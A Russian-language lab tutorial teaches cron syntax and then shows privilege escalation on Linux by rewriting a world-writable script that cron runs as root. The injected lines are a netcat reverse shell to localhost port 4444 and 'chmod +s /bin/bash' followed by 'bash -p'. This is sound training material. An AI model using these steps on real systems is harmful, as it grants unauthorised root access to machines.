Введение
В этом практическом занятии (лабораторной работе) мы узнаем о Cron Jobs (задачах cron) и синтаксисе cron, а также, выполняя практические упражнения, вы быстро освоите использование crontab. Кроме того, мы поймем, как использовать неправильные настройки crontab для повышения привилегий на Linux.
Понимание Cron Jobs и синтаксиса cron
В этом шаге мы познакомимся с Cron Jobs (задачами cron) и синтаксисом cron.
Cron Jobs - это "запланированные задачи" в системе Linux, обычно используемые для планирования выполнения команд, которые должны выполняться периодически, например, регулярные резервные копии данных или очистка кэша. Они называются Cron Jobs, потому что используют инструмент cron (crontab).
Cron Jobs - один из наиболее часто используемых инструментов для системных администраторов, и они сами по себе очень полезны. Однако, если "запланированные задачи" настроены на выполнение с более высокими привилегиями пользователя (например, от имени пользователя root), злоумышленники могут использовать их для повышения привилегий.
Команда crontab использует следующий синтаксис:
* * * * * [ user ] File/Command
- - - - -
| | | | |
| | | | +----- День недели (0 - 7) (0 = воскресенье)
| | | +---------- Месяц (1 - 12)
| | +--------------- День месяца (1 - 31)
| +-------------------- Час (0 - 23)
+------------------------- Минуты (0 - 59)
Поле user является необязательным. Если оно не указано, команда или скрипт будут выполнены с привилегиями текущего пользователя.
Обратите внимание, что только пользователь root может указать выполнение команд или скриптов с привилегиями других пользователей.
Например, если мы хотим выводить журнал ошибок Apache каждый час, мы можем использовать следующую команду:
0 * * * * echo /var/log/lastlog
Поскольку hour (час), day (день), month (месяц) и week (неделя) все установлены в *, запланированная задача будет выполняться каждый раз, когда минута достигает 0, то есть каждый час.
Что делать, если нам нужно выполнить команду каждые два часа в 15 минут? Мы можем внести простое изменение:
15 */2 * * * echo /var/log/lastlog
Для того чтобы понять использование cron, давайте рассмотрим пример.
Откройте терминал и перейдите в каталог
/home/labex/project. Затем выполните следующую команду для инициализации лабораторной среды:./env_setup1.shПосле успешной инициализации вы увидите файл
cleanup.pyи каталогtrashDirectoryв домашнем каталоге пользователя labex. В каталогеtrashDirectoryнаходятся два файла:error.logиreadme.txt.Цель нашей лабораторной работы следующая: Используйте
crontabдля добавления запланированной задачи, которая вызывает скриптcleanup.pyкаждую минуту для очистки всех данных в каталоге/home/labex/project/trashDirectory. Скриптcleanup.pyпросто вызывает системную командуrmс помощью функцииos.system()для очистки каталога/home/labex/project/trashDirectory.Затем используйте следующую команду для добавления запланированной задачи в crontab:
echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/nullВышеуказанная команда добавляет запланированную задачу в файл crontab. Задача будет выполняться
каждую минуту, и скриптcleanup.pyбудет выполнен с привилегиями root.Поскольку служба cron отключена по умолчанию на нашей лабораторной машине, нам нужно вручную запустить ее с помощью следующей команды:
sudo service cron startОжидаемый вывод:
* Starting periodic command scheduler cronЧерез примерно
минуту, если мы войдем в каталог/home/labex/project/trashDirectoryи используем командуls, мы увидим, что данные в каталоге были очищены, что означает, что задача cron выполняется правильно.
Перезапись скриптов crontab для выполнения обратной оболочки (Reverse Shell)
В этом шаге мы узнаем, как повысить привилегии, перезаписывая скрипты, вызываемые crontab.
Сначала откройте терминал и перейдите в каталог
/home/labex/project. Затем выполните следующую команду для инициализации лабораторной среды:cd /home/labex/projectЗапустите скрипт для инициализации лабораторной среды:
./env_setup2.shПосле успешной инициализации используйте следующую команду для просмотра запланированных задач на хосте:
cat /etc/crontabОдна из запланированных задач в конце файла привлекла наше внимание: каждую минуту система выполняет скрипт
/home/labex/project/cleanup.pyот имени пользователя root, это тот же файл, который мы использовали на предыдущем шаге.Далее, проверим разрешения на скрипт:
ls -al /home/labex/project/cleanup.pyМы заметили, что разрешения на файл
cleanup.pyустановлены с риском: другие пользователи также имеют разрешение на запись (w), что означает, что мы можем редактировать и изменять содержимоеcleanup.py!Поскольку
cleanup.pyвыполняется с привилегиями root, мы можем использовать обратную оболочку (reverse shell) с привилегиями root.Используйте
nc.traditionalдля получения обратной оболочки на локальный порт 4444, изменив скриптcleanup.py:... os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash") ...Сохраните файл, и изменения вступят в силу через минуту.
Причина, по которой мы используем
nc.traditional, заключается в том, что стандартная командаncне поддерживает опцию-e.Затем выполните следующую команду для прослушивания локального порта 4444:
nc -lnvp 4444Ожидаемый вывод:
Listening on 0.0.0.0 4444После некоторого ожидания мы успешно получили обратную оболочку с привилегиями root.
Connection received on 127.0.0.1 45480Попробуйте выполнить команду
whoamiдля проверки текущего пользователя:whoami root
Перезапись скриптов crontab для предоставления SUID прав для bash
Вы помните о повышении привилегий с использованием SUID (set user ID), о котором мы говорили ранее? Мы также можем использовать скрипт cleanup.py для изменения разрешений определенных исполняемых файлов таким образом, чтобы они имели установленный SUID-бит, что позволит нам использовать их для повышения привилегий с помощью SUID, например, установить SUID-бит для bash.
После предыдущего шага вы, возможно, все еще находитесь в оболочке root. Для этого шага вам нужно выйти из оболочки root и снова войти как пользователь labex, выполнив следующую команду:
exit
Или вы можете открыть новый терминал и войти как пользователь labex.
Затем выполните следующую команду, чтобы перейти в каталог /home/labex/project:
cd /home/labex/project
В настоящее время у
/bin/bashSUID-бит не установлен:ls -l /bin/bashПодобно предыдущему шагу, измените команду, выполняемую скриптом
cleanup.py, на следующую:... os.system("chmod +s /bin/bash") ...Через некоторое время, если мы проверим
/bin/bash, мы увидим, что теперь у него установлен SUID-бит, что означает, что запланированная задача была успешно выполнена:ls -l /bin/bashОжидаемый вывод:
-rwsr-sr-x 1 root root 1396520 Jan 7 2022 /bin/bashКак показано выше, теперь мы можем использовать
bash -pдля получения привилегий root.labex:project/ $ bash -p bash-5.1## whoami rootСоздайте файл с именем
success.txtв каталоге/root, чтобы показать, что вы успешно повысили привилегии:echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt
Резюме
В этом практическом занятии (лабораторной работе) мы узнали о Cron Jobs (задачах cron), синтаксисе cron и овладели использованием crontab, выполняя практические упражнения. В конце мы воспользовались неправильной настройкой crontab и успешно повысили привилегии своей оболочки до привилегий root.